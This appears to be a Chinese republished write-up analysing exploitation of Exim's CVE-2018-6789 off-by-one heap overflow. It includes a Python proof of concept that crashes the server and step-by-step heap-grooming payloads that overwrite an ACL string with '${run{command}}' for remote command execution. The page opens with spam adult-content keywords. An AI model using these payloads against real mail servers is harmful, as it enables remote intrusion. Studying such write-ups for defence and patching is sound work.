真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何進(jìn)行EximOff-by-OneRCE漏洞利用分析

今天就跟大家聊聊有關(guān)如何進(jìn)行Exim Off-by-One RCE漏洞利用分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)是網(wǎng)站建設(shè)技術(shù)企業(yè),為成都企業(yè)提供專業(yè)的成都網(wǎng)站設(shè)計(jì)、成都做網(wǎng)站,網(wǎng)站設(shè)計(jì),網(wǎng)站制作,網(wǎng)站改版等技術(shù)服務(wù)。擁有10余年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制適合企業(yè)的網(wǎng)站。10余年品質(zhì),值得信賴!

2018年2月,流行的開源郵件服務(wù)器Exim曝出了堆溢出漏洞(CVE-2018-6789),幾乎影響了4.90.1之前的所有版本。

該漏洞的發(fā)現(xiàn)者—臺(tái)灣安全研究員Meh在博客上提供了利用該漏洞進(jìn)行遠(yuǎn)程代碼執(zhí)行的思路,在推特中也表明了最終繞過各種緩解措施成功達(dá)成遠(yuǎn)程代碼執(zhí)行:

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

目前Meh并未公開該漏洞利用代碼,華為未然實(shí)驗(yàn)室安全研究員skysider基于Meh的思路在實(shí)驗(yàn)環(huán)境下成功實(shí)現(xiàn)了遠(yuǎn)程命令執(zhí)行,相關(guān)的漏洞環(huán)境和利用代碼請(qǐng)?jiān)L問:https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

1. 漏洞成因

漏洞的成因是b64decode函數(shù)在對(duì)不規(guī)范的base64編碼過的數(shù)據(jù)進(jìn)行解碼時(shí)可能會(huì)溢出堆上的一個(gè)字節(jié),比較經(jīng)典的off-by-one漏洞。

存在漏洞的b64decode函數(shù)部分代碼如下:

b64decode(const uschar *code, uschar **ptr)

{

int x, y;

uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last

quantum this may decode to 1, 2, or 3 output bytes. */

 ......

}

這段代碼解碼base64的邏輯是把4個(gè)字節(jié)當(dāng)做一組,4個(gè)字節(jié)解碼成3個(gè)字節(jié),但是當(dāng)最后余3個(gè)字節(jié)(即len(code)=4n+3)時(shí),會(huì)解碼成2個(gè)字節(jié),解碼后的總長(zhǎng)度為 3n+2 字節(jié),而分配的堆空間的大小為3n+1 ,因此就會(huì)發(fā)生堆溢出。當(dāng)然,官方給出的修補(bǔ)方案也很簡(jiǎn)單,多分配幾個(gè)字節(jié)就可以了。

2. 環(huán)境搭建

Meh博客中漏洞測(cè)試的exim版本是直接通過apt安裝的,但是由于debian官方已經(jīng)修復(fù)了倉(cāng)庫(kù)中exim的漏洞,可以通過查看軟件包源碼的patch信息確認(rèn):

root@skysider:~/poc/exim4-4.86.2# apt-get source exim4

......

dpkg-source: info: applying 93_CVE-2017-1000368.patch

dpkg-source: info: applying fix_smtp_banner.patch

dpkg-source: info: applying CVE-2016-9963.patch

dpkg-source: info: applying CVE-2018-6789.patch

我們選擇下載早期版本的源代碼進(jìn)行編譯安裝:

sudo apt-get build-dep exim4
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz

在編譯過程中要安裝一些依賴庫(kù),還需要修改Makefile、新建用戶、配置日志文件的權(quán)限等,可以參考Dockerfile 的安裝過程。

exim可以在運(yùn)行時(shí)指定配置文件,為了觸發(fā)漏洞以及命令執(zhí)行,需要配置CRAM-MD5 authenticator以及設(shè)置acl_smtp_mail等,配置文件如下:

acl_smtp_mail=acl_check_mail

acl_smtp_data=acl_check_data

begin acl

acl_check_mail:

  .ifdef CHECK_MAIL_HELO_ISSUED

  deny

    message = no HELO given before MAIL command

    condition = ${if def:sender_helo_name {no}{yes}}

  .endif

  accept

acl_check_data:

  accept

begin authenticators

fixed_cram:

  driver = cram_md5

  public_name = CRAM-MD5

  server_secret = ${if eq{$auth2}{ph20}{secret}fail}

  server_set_id = $auth2

以調(diào)試模式啟動(dòng)exim服務(wù):

exim -bd -d-receive -C conf.conf

也可以直接使用docker來驗(yàn)證該漏洞(上面的命令為默認(rèn)啟動(dòng)命令):

docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789

3. 漏洞測(cè)試

我們使用一個(gè)簡(jiǎn)單的poc來觸發(fā)漏洞,poc代碼如下:

#!/usr/bin/python

# -*- coding: utf-8 -*-

import smtplib

from base64 import b64encode

print "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators"

ip_address = raw_input("input ip address: ")

s = smtplib.SMTP(ip_address)

#s.set_debuglevel(1)

# 1. put a huge chunk into unsorted bin 

s.ehlo("mmmm"+"b"*0x1500) # 0x2020

# 2. send base64 data and trigger off-by-one

#raw_input("overwrite one byte of next chunk")

s.docmd("AUTH CRAM-MD5")

payload = "d"*(0x2008-1)

try:

s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1])

s.quit()

except smtplib.SMTPServerDisconnected:

print "[!] exim server seems to be vulnerable to CVE-2018-6789."

當(dāng)執(zhí)行這段代碼時(shí),會(huì)觸發(fā)內(nèi)存錯(cuò)誤

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

在這個(gè)過程中,堆的主要變化如下:

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

我們可以去觀察錯(cuò)誤之前的堆,attach到子進(jìn)程,下圖是發(fā)送ehlo消息之后的堆:

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

發(fā)送Auth數(shù)據(jù)之后,我們可以看一下執(zhí)行完b64decode函數(shù)之后的堆:

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

圖中圈出來的兩個(gè)字節(jié)正是我們發(fā)送的Auth數(shù)據(jù)解碼出來的最后兩個(gè)字節(jié),最后一個(gè)字節(jié)0xf1修改了下一個(gè)塊的大小,使得原本應(yīng)該是0x4040(0x6060-0x2020)的unsorted 空閑塊變成了0x40f0,通過查看該空閑塊緊鄰的下一個(gè)堆塊可以確認(rèn)當(dāng)前unsorted bin的空閑塊大小是被修改了,因此當(dāng)從該空閑塊分配空間時(shí),malloc函數(shù)會(huì)檢查該空閑塊的大小 0x40f0 (低字節(jié)的低3位是標(biāo)志位)與緊鄰的下一個(gè)堆塊標(biāo)記的前一個(gè)堆塊的大小 0x4040 是否相等,若不相等,就會(huì)觸發(fā)內(nèi)存錯(cuò)誤。

4. Exim內(nèi)存管理機(jī)制

exim在libc提供的堆管理機(jī)制的基礎(chǔ)上實(shí)現(xiàn)了一套自己的管理堆塊的方法,引入了store pool、store block的概念。store pool是一個(gè)單鏈表結(jié)構(gòu),每一個(gè)節(jié)點(diǎn)都是一個(gè)store block,每個(gè)store block的數(shù)據(jù)大小至少為0x2000,storeblock的結(jié)構(gòu)如下:

/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

下圖展示了一個(gè)storepool的完整的數(shù)據(jù)存儲(chǔ)方式,chainbase是頭結(jié)點(diǎn),指向第一個(gè)storeblock,current_block是尾節(jié)點(diǎn),指向鏈表中的最后一個(gè)節(jié)點(diǎn)。store_last_get指向current_block中最后分配的空間,next_yield指向下一次要分配空間時(shí)的起始位置,yield_length則表示當(dāng)前store_block中剩余的可分配字節(jié)數(shù)。當(dāng)current_block中的剩余字節(jié)數(shù)(yield_length)小于請(qǐng)求分配的字節(jié)數(shù)時(shí),會(huì)調(diào)用malloc分配一個(gè)新的storeblock塊,然后從該storeblock中分配需要的空間。更多關(guān)于exim內(nèi)存管理機(jī)制可以查看store.c。

如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5. 漏洞利用

整體的漏洞利用思路參考漏洞發(fā)現(xiàn)者M(jìn)eh的博客,通過覆蓋acl字符串為 ${run{command}} 的方式,達(dá)到遠(yuǎn)程命令執(zhí)行的目的。因?yàn)椴煌呐渲煤蛦?dòng)參數(shù)可能會(huì)導(dǎo)致exim服務(wù)在啟動(dòng)運(yùn)行過程中堆棧布局存在差異,因此本漏洞利用腳本僅在給定的環(huán)境中測(cè)試生效。

下面是漏洞利用的詳細(xì)步驟:

如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5.1 發(fā)送ehlo,布局堆空間

ehlo(s, "a"*0x1000) # 0x2020

ehlo(s, "a"*0x20)

 形成一塊大小為0x7040的空閑堆塊

5.2 發(fā)送unknown command(包含不可打印字符)

從unsorted bin分配內(nèi)存空間

docmd(s, "\xee"*0x700)

發(fā)送的unknown command 的大小要滿足 yield_length < (length + nonprintcount * 3 + 1) ,從而使得發(fā)送的unknown command能夠調(diào)用malloc函數(shù)分配一個(gè)新的storeblock。

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5.3 發(fā)送ehlo信息回收unknown命令分配的空間

ehlo(s, "c"*0x2c00)

在回收unknown command占用的內(nèi)存空間時(shí),由于之前的sender_host_name占用的內(nèi)存空間已經(jīng)釋放,會(huì)發(fā)生合并,形成大小為0x2050的空閑塊

5.4 發(fā)送Auth數(shù)據(jù),觸發(fā)漏洞,修改ehlo信息所在堆塊的大小

 payload = "d"*(0x2020+0x30-0x18-1)

 docmd(s, b64encode(payload)+b64encode("\xf1\xf1")[:-1])

5.5 發(fā)送Auth數(shù)據(jù)偽造下一個(gè)塊的塊頭信息,繞過釋放sender_host_name所在堆塊時(shí)的內(nèi)存檢查

payload2 = 'm'*0x70+p64(0x1f41) # modify fake size

docmd(s, b64encode(payload2))

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5.6 釋放sender_host_name所在堆塊

同時(shí)為了不釋放其他storeblock,發(fā)送包含無效字符的信息

ehlo(s, "skysider+")

5.7 發(fā)送Auth數(shù)據(jù)

修改overlapped所在storeblock的next指針,令其指向acl字符串所在的storeblock

payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)

try_addr = p16(try_addr*0x10+4)  # to change

docmd(s, b64encode(payload3)+b64encode(try_addr)[:-1])

由于地址隨機(jī)化,acl所在的storeblock高位字節(jié)未知(在docker環(huán)境下,低12bit為0x480不變),但是原始的next指針指向的storeblock與要修改的storeblock高位字節(jié)相同,僅低位3字節(jié)不同,因此可以采用局部overwrite,只需要爆破12bit即可。

5.8 發(fā)送ehlo消息釋放所有的storeblock

ehlo(s, "released")

此時(shí)unsorted bin表中存在多個(gè)空閑塊,如下圖所示,其中框出來的空閑塊就是包含acl的storeblock

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5.9 覆蓋acl字符串

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)

payload4 += 't'*(0x1f80-len(payload4))

auth(s, b64encode(payload4)+'ee')

payload5 = "a"*0x78 + "${run{" + command + "}}\x00"

auth(s, b64encode(payload5)+"ee")

發(fā)送第一個(gè)auth消息之后,unsorted bin表如下圖所示

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

接著再分配合適的空間時(shí),就可以獲取目標(biāo)storeblock所在的堆塊,覆蓋其中的acl字符串

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

5.10 觸發(fā)acl檢查

s.sendline("MAIL FROM: ")

 如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

至此就可以遠(yuǎn)程執(zhí)行命令,完整的漏洞利用腳本見exp.py ,效果如下:

如何進(jìn)行Exim Off-by-One RCE漏洞利用分析

看完上述內(nèi)容,你們對(duì)如何進(jìn)行Exim Off-by-One RCE漏洞利用分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。


分享名稱:如何進(jìn)行EximOff-by-OneRCE漏洞利用分析
分享鏈接:http://weahome.cn/article/peioij.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部